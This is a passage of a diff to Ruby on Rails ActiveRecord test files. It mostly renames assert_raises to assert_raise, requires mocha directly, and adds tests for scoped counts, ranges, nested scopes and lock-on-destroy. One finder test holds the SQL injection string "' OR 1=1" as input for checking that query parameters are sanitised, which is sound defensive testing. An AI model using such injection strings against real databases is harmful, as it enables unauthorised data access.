end
- assert_raises(ArgumentError) { Company.send(:validate_calculation_options, :sum, :foo => :bar) }
- assert_raises(ArgumentError) { Company.send(:validate_calculation_options, :count, :foo => :bar) }
+ assert_raise(ArgumentError) { Company.send(:validate_calculation_options, :sum, :foo => :bar) }
+ assert_raise(ArgumentError) { Company.send(:validate_calculation_options, :count, :foo => :bar) }
end
def test_should_count_selected_field_with_include
@@ -258,6 +264,19 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 4, Account.count(:distinct => true, :include => :firm, :select => :credit_limit)
end
+ def test_should_count_scoped_select
+ Account.update_all("credit_limit = NULL")
+ assert_equal 0, Account.scoped(:select => "credit_limit").count
+ end
+
+ def test_should_count_scoped_select_with_options
+ Account.update_all("credit_limit = NULL")
+ Account.last.update_attribute('credit_limit', 49)
+ Account.first.update_attribute('credit_limit', 51)
+
+ assert_equal 1, Account.scoped(:select => "credit_limit").count(:conditions => ['credit_limit >= 50'])
+ end
+
def test_should_count_manual_select_with_include
assert_equal 6, Account.count(:select => "DISTINCT accounts.id", :include => :firm)
end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index 33b1ea034d..95fddaeef6 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -352,13 +352,13 @@ class CallbacksTest < ActiveRecord::TestCase
david = ImmutableDeveloper.find(1)
assert david.valid?
assert !david.save
- assert_raises(ActiveRecord::RecordNotSaved) { david.save! }
+ assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
david = ImmutableDeveloper.find(1)
david.salary = 10_000_000
assert !david.valid?
assert !david.save
- assert_raises(ActiveRecord::RecordInvalid) { david.save! }
+ assert_raise(ActiveRecord::RecordInvalid) { david.save! }
someone = CallbackCancellationDeveloper.find(1)
someone.cancel_before_save = true
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
new file mode 100644
index 0000000000..cc9b2a45f4
--- /dev/null
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -0,0 +1,25 @@
+require "cases/helper"
+
+class ConnectionManagementTest < ActiveRecord::TestCase
+ def setup
+ @env = {}
+ @app = stub('App')
+ @management = ActiveRecord::ConnectionAdapters::ConnectionManagement.new(@app)
+
+ @connections_cleared = false
+ ActiveRecord::Base.stubs(:clear_active_connections!).with { @connections_cleared = true }
+ end
+
+ test "clears active connections after each call" do
+ @app.expects(:call).with(@env)
+ @management.call(@env)
+ assert @connections_cleared
+ end
+
+ test "doesn't clear active connections when running in a test case" do
+ @env['rack.test'] = true
+ @app.expects(:call).with(@env)
+ @management.call(@env)
+ assert !@connections_cleared
+ end
+end \ No newline at end of file
diff --git a/activerecord/test/cases/datatype_test_postgresql.rb b/activerecord/test/cases/datatype_test_postgresql.rb
index bff092b5d7..88fb6f7384 100644
--- a/activerecord/test/cases/datatype_test_postgresql.rb
+++ b/activerecord/test/cases/datatype_test_postgresql.rb
@@ -26,6 +26,7 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
def setup
@connection = ActiveRecord::Base.connection
+ @connection.execute("set lc_monetary = 'C'")
@connection.execute("INSERT INTO postgresql_arrays (commission_by_quarter, nicknames) VALUES ( '{35000,21000,18000,17000}', '{foo,bar,baz}' )")
@first_array = PostgresqlArray.find(1)
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index 1c9e281cc0..ac95bac4ad 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -166,7 +166,7 @@ class DirtyTest < ActiveRecord::TestCase
def test_association_assignment_changes_foreign_key
pirate = Pirate.create!(:catchphrase => 'jarl')
- pirate.parrot = Parrot.create!
+ pirate.parrot = Parrot.create!(:name => 'Lorre')
assert pirate.changed?
assert_equal %w(parrot_id), pirate.changed
end
@@ -228,7 +228,7 @@ class DirtyTest < ActiveRecord::TestCase
pirate = Pirate.new
pirate.parrot_id = 1
- assert_raises(ActiveRecord::RecordInvalid) { pirate.save! }
+ assert_raise(ActiveRecord::RecordInvalid) { pirate.save! }
check_pirate_after_save_failure(pirate)
end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index d4d770b04e..d8778957c0 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -94,7 +94,16 @@ class FinderTest < ActiveRecord::TestCase
assert_raise(NoMethodError) { Topic.exists?([1,2]) }
end
-
+
+ def test_exists_returns_true_with_one_record_and_no_args
+ assert Topic.exists?
+ end
+
+ def test_does_not_exist_with_empty_table_and_no_args_given
+ Topic.delete_all
+ assert !Topic.exists?
+ end
+
def test_exists_with_aggregate_having_three_mappings
existing_address = customers(:david).address
assert Customer.exists?(:address => existing_address)
@@ -137,7 +146,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_by_ids_missing_one
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
end
def test_find_all_with_limit
@@ -182,6 +191,13 @@ class FinderTest < ActiveRecord::TestCase
assert developers.all? { |developer| developer.salary > 10000 }
end
+ def test_find_with_group_and_sanitized_having
+ developers = Developer.find(:all, :group => "salary", :having => ["sum(salary) > ?", 10000], :select => "salary")
+ assert_equal 3, developers.size
+ assert_equal 3, developers.map(&:salary).uniq.size
+ assert developers.all? { |developer| developer.salary > 10000 }
+ end
+
def test_find_with_entire_select_statement
topics = Topic.find_by_sql "SELECT * FROM topics WHERE author_name = 'Mary'"
@@ -220,7 +236,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_unexisting_record_exception_handling
- assert_raises(ActiveRecord::RecordNotFound) {
+ assert_raise(ActiveRecord::RecordNotFound) {
Topic.find(1).parent
}
@@ -229,7 +245,7 @@ class FinderTest < ActiveRecord::TestCase
def test_find_only_some_columns
topic = Topic.find(1, :select => "author_name")
- assert_raises(ActiveRecord::MissingAttributeError) {topic.title}
+ assert_raise(ActiveRecord::MissingAttributeError) {topic.title}
assert_equal "David", topic.author_name
assert !topic.attribute_present?("title")
#assert !topic.respond_to?("title")
@@ -251,22 +267,22 @@ class FinderTest < ActiveRecord::TestCase
def test_find_on_array_conditions
assert Topic.find(1, :conditions => ["approved = ?", false])
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => ["approved = ?", true]) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => ["approved = ?", true]) }
end
def test_find_on_hash_conditions
assert Topic.find(1, :conditions => { :approved => false })
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :approved => true }) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :approved => true }) }
end
def test_find_on_hash_conditions_with_explicit_table_name
assert Topic.find(1, :conditions => { 'topics.approved' => false })
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { 'topics.approved' => true }) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { 'topics.approved' => true }) }
end
def test_find_on_hash_conditions_with_hashed_table_name
assert Topic.find(1, :conditions => {:topics => { :approved => false }})
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => {:topics => { :approved => true }}) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => {:topics => { :approved => true }}) }
end
def test_find_with_hash_conditions_on_joined_table
@@ -284,7 +300,7 @@ class FinderTest < ActiveRecord::TestCase
def test_find_on_hash_conditions_with_explicit_table_name_and_aggregate
david = customers(:david)
assert Customer.find(david.id, :conditions => { 'customers.name' => david.name, :address => david.address })
- assert_raises(ActiveRecord::RecordNotFound) {
+ assert_raise(ActiveRecord::RecordNotFound) {
Customer.find(david.id, :conditions => { 'customers.name' => david.name + "1", :address => david.address })
}
end
@@ -295,7 +311,13 @@ class FinderTest < ActiveRecord::TestCase
def test_find_on_hash_conditions_with_range
assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1..2 }).map(&:id).sort
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :id => 2..3 }) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :id => 2..3 }) }
+ end
+
+ def test_find_on_hash_conditions_with_end_exclusive_range
+ assert_equal [1,2,3], Topic.find(:all, :conditions => { :id => 1..3 }).map(&:id).sort
+ assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1...3 }).map(&:id).sort
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(3, :conditions => { :id => 2...3 }) }
end
def test_find_on_hash_conditions_with_multiple_ranges
@@ -305,9 +327,9 @@ class FinderTest < ActiveRecord::TestCase
def test_find_on_multiple_hash_conditions
assert Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false })
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }) }
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
end
def test_condition_interpolation
@@ -331,7 +353,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_hash_condition_find_malformed
- assert_raises(ActiveRecord::StatementInvalid) {
+ assert_raise(ActiveRecord::StatementInvalid) {
Company.find(:first, :conditions => { :id => 2, :dhh => true })
}
end
@@ -400,10 +422,10 @@ class FinderTest < ActiveRecord::TestCase
assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!"])
assert_nil Company.find(:first, :conditions => ["name = ?", "37signals!' OR 1=1"])
assert_kind_of Time, Topic.find(:first, :conditions => ["id = ?", 1]).written_on
- assert_raises(ActiveRecord::PreparedStatementInvalid) {
+ assert_raise(ActiveRecord::PreparedStatementInvalid) {
Company.find(:first, :conditions => ["id=? AND name = ?", 2])
}
- assert_raises(ActiveRecord::PreparedStatementInvalid) {
+ assert_raise(ActiveRecord::PreparedStatementInvalid) {
Company.find(:first, :conditions => ["id=?", 2, 3, 4])
}
end
@@ -420,11 +442,11 @@ class FinderTest < ActiveRecord::TestCase
def test_bind_arity
assert_nothing_raised { bind '' }
- assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '', 1 }
+ assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '', 1 }
- assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '?' }
+ assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?' }
assert_nothing_raised { bind '?', 1 }
- assert_raises(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1 }
+ assert_raise(ActiveRecord::PreparedStatementInvalid) { bind '?', 1, 1 }
end
def test_named_bind_variables
@@ -507,21 +529,19 @@ class FinderTest < ActiveRecord::TestCase
assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
end
- uses_mocha('test_dynamic_finder_should_go_through_the_find_class_method') do
- def test_dynamic_finders_should_go_through_the_find_class_method
- Topic.expects(:find).with(:first, :conditions => { :title => 'The First Topic!' })
- Topic.find_by_title("The First Topic!")
+ def test_dynamic_finders_should_go_through_the_find_class_method
+ Topic.expects(:find).with(:first, :conditions => { :title => 'The First Topic!' })
+ Topic.find_by_title("The First Topic!")
- Topic.expects(:find).with(:last, :conditions => { :title => 'The Last Topic!' })
- Topic.find_last_by_title("The Last Topic!")
+ Topic.expects(:find).with(:last, :conditions => { :title => 'The Last Topic!' })
+ Topic.find_last_by_title("The Last Topic!")
- Topic.expects(:find).with(:all, :conditions => { :title => 'A Topic.' })
- Topic.find_all_by_title("A Topic.")
+ Topic.expects(:find).with(:all, :conditions => { :title => 'A Topic.' })
+ Topic.find_all_by_title("A Topic.")
- Topic.expects(:find).with(:first, :conditions => { :title => 'Does not exist yet for sure!' }).times(2)
- Topic.find_or_initialize_by_title('Does not exist yet for sure!')
- Topic.find_or_create_by_title('Does not exist yet for sure!')
- end
+ Topic.expects(:find).with(:first, :conditions => { :title => 'Does not exist yet for sure!' }).times(2)
+ Topic.find_or_initialize_by_title('Does not exist yet for sure!')
+ Topic.find_or_create_by_title('Does not exist yet for sure!')
end
def test_find_by_one_attribute
@@ -531,7 +551,7 @@ class FinderTest < ActiveRecord::TestCase
def test_find_by_one_attribute_bang
assert_equal topics(:first), Topic.find_by_title!("The First Topic")
- assert_raises(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
end
def test_find_by_one_attribute_caches_dynamic_finder
@@ -612,14 +632,14 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_by_one_missing_attribute
- assert_raises(NoMethodError) { Topic.find_by_undertitle("The First Topic!") }
+ assert_raise(NoMethodError) { Topic.find_by_undertitle("The First Topic!") }
end
def test_find_by_invalid_method_syntax
- assert_raises(NoMethodError) { Topic.fail_to_find_by_title("The First Topic") }
- assert_raises(NoMethodError) { Topic.find_by_title?("The First Topic") }
- assert_raises(NoMethodError) { Topic.fail_to_find_or_create_by_title("Nonexistent Title") }
- assert_raises(NoMethodError) { Topic.find_or_create_by_title?("Nonexistent Title") }
+ assert_raise(NoMethodError) { Topic.fail_to_find_by_title("The First Topic") }
+ assert_raise(NoMethodError) { Topic.find_by_title?("The First Topic") }
+ assert_raise(NoMethodError) { Topic.fail_to_find_or_create_by_title("Nonexistent Title") }
+ assert_raise(NoMethodError) { Topic.find_or_create_by_title?("Nonexistent Title") }
end
def test_find_by_two_attributes
@@ -641,8 +661,8 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_last_by_invalid_method_syntax
- assert_raises(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
- assert_raises(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
+ assert_raise(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
+ assert_raise(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
end
def test_find_last_by_one_attribute_with_several_options
@@ -650,7 +670,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_last_by_one_missing_attribute
- assert_raises(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
+ assert_raise(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
end
def test_find_last_by_two_attributes
@@ -903,16 +923,16 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_with_bad_sql
- assert_raises(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
+ assert_raise(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
end
def test_find_with_invalid_params
- assert_raises(ArgumentError) { Topic.find :first, :join => "It should be `joins'" }
- assert_raises(ArgumentError) { Topic.find :first, :conditions => '1 = 1', :join => "It should be `joins'" }
+ assert_raise(ArgumentError) { Topic.find :first, :join => "It should be `joins'" }
+ assert_raise(ArgumentError) { Topic.find :first, :conditions => '1 = 1', :join => "It should be `joins'" }
end
def test_dynamic_finder_with_invalid_params
- assert_raises(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
+ assert_raise(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
end
def test_find_all_with_limit
@@ -1044,6 +1064,14 @@ class FinderTest < ActiveRecord::TestCase
assert_equal [0, 1, 1], posts.map(&:author_id).sort
end
+ def test_finder_with_scoped_from
+ all_topics = Topic.all
+
+ Topic.with_scope(:find => { :from => 'fake_topics' }) do
+ assert_equal all_topics, Topic.all(:from => 'topics')
+ end
+ end
+
protected
def bind(statement, *vars)
if vars.first.is_a?(Hash)
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
index ed2915b023..252bf4ff61 100644
--- a/activerecord/test/cases/fixtures_test.rb
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -151,7 +151,7 @@ class FixturesTest < ActiveRecord::TestCase
end
def test_dirty_dirty_yaml_file
- assert_raises(Fixture::FormatError) do
+ assert_raise(Fixture::FormatError) do
Fixtures.new( Account.connection, "courses", 'Course', FIXTURES_ROOT + "/naked/yml/courses")
end
end
@@ -265,12 +265,10 @@ class FixturesWithoutInstantiationTest < ActiveRecord::TestCase
assert_raise(StandardError) { topics([:first, :second]) }
end
- uses_mocha 'reloading_fixtures_through_accessor_methods' do
- def test_reloading_fixtures_through_accessor_methods
- assert_equal "The First Topic", topics(:first).title
- @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!"))
- assert_equal "Fresh Topic!", topics(:first, true).title
- end
+ def test_reloading_fixtures_through_accessor_methods
+ assert_equal "The First Topic", topics(:first).title
+ @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!"))
+ assert_equal "Fresh Topic!", topics(:first, true).title
end
end
@@ -422,7 +420,7 @@ class InvalidTableNameFixturesTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
def test_raises_error
- assert_raises FixtureClassNotFound do
+ assert_raise FixtureClassNotFound do
funny_jokes(:a_joke)
end
end
@@ -639,17 +637,15 @@ class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
end
class FixtureLoadingTest < ActiveRecord::TestCase
- uses_mocha 'reloading_fixtures_through_accessor_methods' do
- def test_logs_message_for_failed_dependency_load
- ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
- ActiveRecord::Base.logger.expects(:warn)
- ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist)
- end
+ def test_logs_message_for_failed_dependency_load
+ ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
+ ActiveRecord::Base.logger.expects(:warn)
+ ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist)
+ end
- def test_does_not_logs_message_for_successful_dependency_load
- ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine)
- ActiveRecord::Base.logger.expects(:warn).never
- ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine)
- end
+ def test_does_not_logs_message_for_successful_dependency_load
+ ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine)
+ ActiveRecord::Base.logger.expects(:warn).never
+ ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine)
end
end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 24ce35e2e2..1ec52ac24d 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -2,7 +2,11 @@ $:.unshift(File.dirname(__FILE__) + '/../../lib')
$:.unshift(File.dirname(__FILE__) + '/../../../activesupport/lib')
require 'config'
+
+require 'rubygems'
require 'test/unit'
+gem 'mocha', '>= 0.9.5'
+require 'mocha'
require 'active_record'
require 'active_record/test_case'
@@ -24,15 +28,6 @@ def current_adapter?(*types)
end
end
-def uses_mocha(description)
- require 'rubygems'
- gem 'mocha', '>= 0.9.3'
- require 'mocha'
- yield
-rescue LoadError
- $stderr.puts "Skipping #{description} tests. `gem install mocha` and try again."
-end
-
ActiveRecord::Base.connection.class.class_eval do
IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /SHOW FIELDS/]
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index 3f59eb9706..eae5a60829 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -68,7 +68,7 @@ class InheritanceTest < ActiveRecord::TestCase
if current_adapter?(:SybaseAdapter)
Company.connection.execute "SET IDENTITY_INSERT companies OFF"
end
- assert_raises(ActiveRecord::SubclassNotFound) { Company.find(100) }
+ assert_raise(ActiveRecord::SubclassNotFound) { Company.find(100) }
end
def test_inheritance_find
@@ -124,7 +124,7 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_finding_incorrect_type_data
- assert_raises(ActiveRecord::RecordNotFound) { Firm.find(2) }
+ assert_raise(ActiveRecord::RecordNotFound) { Firm.find(2) }
assert_nothing_raised { Firm.find(1) }
end
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index 077cac7747..e177235591 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -35,7 +35,25 @@ class OptimisticLockingTest < ActiveRecord::TestCase
assert_equal 0, p2.lock_version
p2.first_name = 'sue'
- assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+ assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
+ end
+
+ def test_lock_destroy
+ p1 = Person.find(1)
+ p2 = Person.find(1)
+ assert_equal 0, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ p1.first_name = 'stu'
+ p1.save!
+ assert_equal 1, p1.lock_version
+ assert_equal 0, p2.lock_version
+
+ assert_raises(ActiveRecord::StaleObjectError) { p2.destroy }
+
+ assert p1.destroy
+ assert_equal true, p1.frozen?
+ assert_raises(ActiveRecord::RecordNotFound) { Person.find(1) }
end
def test_lock_repeating
@@ -50,9 +68,9 @@ class OptimisticLockingTest < ActiveRecord::TestCase
assert_equal 0, p2.lock_version
p2.first_name = 'sue'
- assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+ assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
p2.first_name = 'sue2'
- assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+ assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
end
def test_lock_new
@@ -71,7 +89,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase
assert_equal 0, p2.lock_version
p2.first_name = 'sue'
- assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+ assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
end
def test_lock_new_with_nil
@@ -95,7 +113,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase
assert_equal 0, t2.version
t2.tps_report_number = 800
- assert_raises(ActiveRecord::StaleObjectError) { t2.save! }
+ assert_raise(ActiveRecord::StaleObjectError) { t2.save! }
end
def test_lock_column_is_mass_assignable
diff --git a/activerecord/test/cases/method_scoping_test.rb b/activerecord/test/cases/method_scoping_test.rb
index 71e2ce8790..3c34cdeade 100644
--- a/activerecord/test/cases/method_scoping_test.rb
+++ b/activerecord/test/cases/method_scoping_test.rb
@@ -262,6 +262,15 @@ class NestedScopingTest < ActiveRecord::TestCase
end
end
+ def test_merge_inner_scope_has_priority
+ Developer.with_scope(:find => { :limit => 5 }) do
+ Developer.with_scope(:find => { :limit => 10 }) do
+ merged_option = Developer.instance_eval('current_scoped_methods')[:find]
+ assert_equal({ :limit => 10 }, merged_option)
+ end
+ end
+ end
+
def test_replace_options
Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
@@ -369,8 +378,10 @@ class NestedScopingTest < ActiveRecord::TestCase
def test_merged_scoped_find
poor_jamis = developers(:poor_jamis)
Developer.with_scope(:find => { :conditions => "salary < 100000" }) do
- Developer.with_scope(:find => { :offset => 1 }) do
- assert_equal(poor_jamis, Developer.find(:first, :order => 'id asc'))
+ Developer.with_scope(:find => { :offset => 1, :order => 'id asc' }) do
+ assert_sql /ORDER BY id asc / do
+ assert_equal(poor_jamis, Developer.find(:first, :order => 'id asc'))
+ end
end
end
end
@@ -400,6 +411,29 @@ class NestedScopingTest < ActiveRecord::TestCase
end
end
+ def test_nested_scoped_create
+ comment = nil
+ Comment.with_scope(:create => { :post_id => 1}) do
+ Comment.with_scope(:create => { :post_id => 2}) do
+ assert_equal({ :post_id => 2 }, Comment.send(:current_scoped_methods)[:create])
+ comment = Comment.create :body => "Hey guys, nested scopes are broken. Please fix!"
+ end
+ end
+ assert_equal 2, comment.post_id
+ end
+
+ def test_nested_exclusive_scope_for_create
+ comment = nil
+ Comment.with_scope(:create => { :body => "Hey guys, nested scopes are broken. Please fix!" }) do
+ Comment.with_exclusive_scope(:create => { :post_id => 1 }) do
+ assert_equal({ :post_id => 1 }, Comment.send(:current_scoped_methods)[:create])
+ comment = Comment.create :body => "Hey guys"
+ end
+ end
+ assert_equal 1, comment.post_id
+ assert_equal 'Hey guys', comment.body
+ end
+
def test_merged_scoped_find_on_blank_conditions
[nil, " ", [], {}].each do |blank|
Developer.with_scope(:find => {:conditions => blank}) do
@@ -523,7 +557,6 @@ class HasManyScopingTest< ActiveRecord::TestCase
end
end
-
class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
fixtures :posts, :categories, :categories_posts
@@ -549,7 +582,6 @@ class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
end
end
-
class DefaultScopingTest < ActiveRecord::TestCase
fixtures :developers
@@ -577,7 +609,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
# Scopes added on children should append to parent scope
expected_klass_scope = [{ :create => {}, :find => { :order => 'salary DESC' }}, { :create => {}, :find => {} }]
assert_equal expected_klass_scope, klass.send(:scoped_methods)
-
+
# Parent should still have the original scope
assert_equal scope, DeveloperOrderedBySalary.send(:scoped_methods)
end
@@ -597,7 +629,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
end
def test_named_scope
- expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.salary }
+ expected = Developer.find(:all, :order => 'salary DESC, name DESC').collect { |dev| dev.salary }
received = DeveloperOrderedBySalary.by_name.find(:all).collect { |dev| dev.salary }
assert_equal expected, received
end
@@ -620,7 +652,6 @@ end
=begin
# We disabled the scoping for has_one and belongs_to as we can't think of a proper use case
-
class BelongsToScopingTest< ActiveRecord::TestCase
fixtures :comments, :posts
@@ -640,7 +671,6 @@ class BelongsToScopingTest< ActiveRecord::TestCase
end
-
class HasOneScopingTest< ActiveRecord::TestCase
fixtures :comments, :posts
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index 2ec3d40332..16861f21b1 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -93,6 +93,30 @@ if ActiveRecord::Base.connection.supports_migrations?
end
end
+ def testing_table_with_only_foo_attribute
+ Person.connection.create_table :testings, :id => false do |t|
+ t.column :foo, :string
+ end
+
+ yield Person.connection
+ ensure
+ Person.connection.drop_table :testings rescue nil
+ end
+ protected :testing_table_with_only_foo_attribute
+
+ def test_create_table_without_id
+ testing_table_with_only_foo_attribute do |connection|
+ assert_equal connection.columns(:testings).size, 1
+ end
+ end
+
+ def test_add_column_with_primary_key_attribute
+ testing_table_with_only_foo_attribute do |connection|
+ assert_nothing_raised { connection.add_column :testings, :id, :primary_key }
+ assert_equal connection.columns(:testings).size, 2
+ end
+ end
+
def test_create_table_adds_id
Person.connection.create_table :testings do |t|
t.column :foo, :string
@@ -111,7 +135,7 @@ if ActiveRecord::Base.connection.supports_migrations?
end
end
- assert_raises(ActiveRecord::StatementInvalid) do
+ assert_raise(ActiveRecord::StatementInvalid) do
Person.connection.execute "insert into testings (foo) values (NULL)"
end
ensure
@@ -219,22 +243,20 @@ if ActiveRecord::Base.connection.supports_migrations?
ActiveRecord::Base.primary_key_prefix_type = nil
end
- uses_mocha('test_create_table_with_force_true_does_not_drop_nonexisting_table') do
- def test_create_table_with_force_true_does_not_drop_nonexisting_table
- if Person.connection.table_exists?(:testings2)
- Person.connection.drop_table :testings2
- end
+ def test_create_table_with_force_true_does_not_drop_nonexisting_table
+ if Person.connection.table_exists?(:testings2)
+ Person.connection.drop_table :testings2
+ end
- # using a copy as we need the drop_table method to
- # continue to work for the ensure block of the test
- temp_conn = Person.connection.dup
- temp_conn.expects(:drop_table).never
- temp_conn.create_table :testings2, :force => true do |t|
- t.column :foo, :string
- end
- ensure
- Person.connection.drop_table :testings2 rescue nil
+ # using a copy as we need the drop_table method to
+ # continue to work for the ensure block of the test
+ temp_conn = Person.connection.dup
+ temp_conn.expects(:drop_table).never
+ temp_conn.create_table :testings2, :force => true do |t|
+ t.column :foo, :string
end
+ ensure
+ Person.connection.drop_table :testings2 rescue nil
end
def test_create_table_with_timestamps_should_create_datetime_columns
@@ -280,7 +302,7 @@ if ActiveRecord::Base.connection.supports_migrations?
end
Person.connection.add_column :testings, :bar, :string, :null => false
- assert_raises(ActiveRecord::StatementInvalid) do
+ assert_raise(ActiveRecord::StatementInvalid) do
Person.connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
end
ensure
@@ -299,7 +321,7 @@ if ActiveRecord::Base.connection.supports_migrations?
Person.connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
assert_nothing_raised {Person.connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
- assert_raises(ActiveRecord::StatementInvalid) do
+ assert_raise(ActiveRecord::StatementInvalid) do
unless current_adapter?(:OpenBaseAdapter)
Person.connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
else
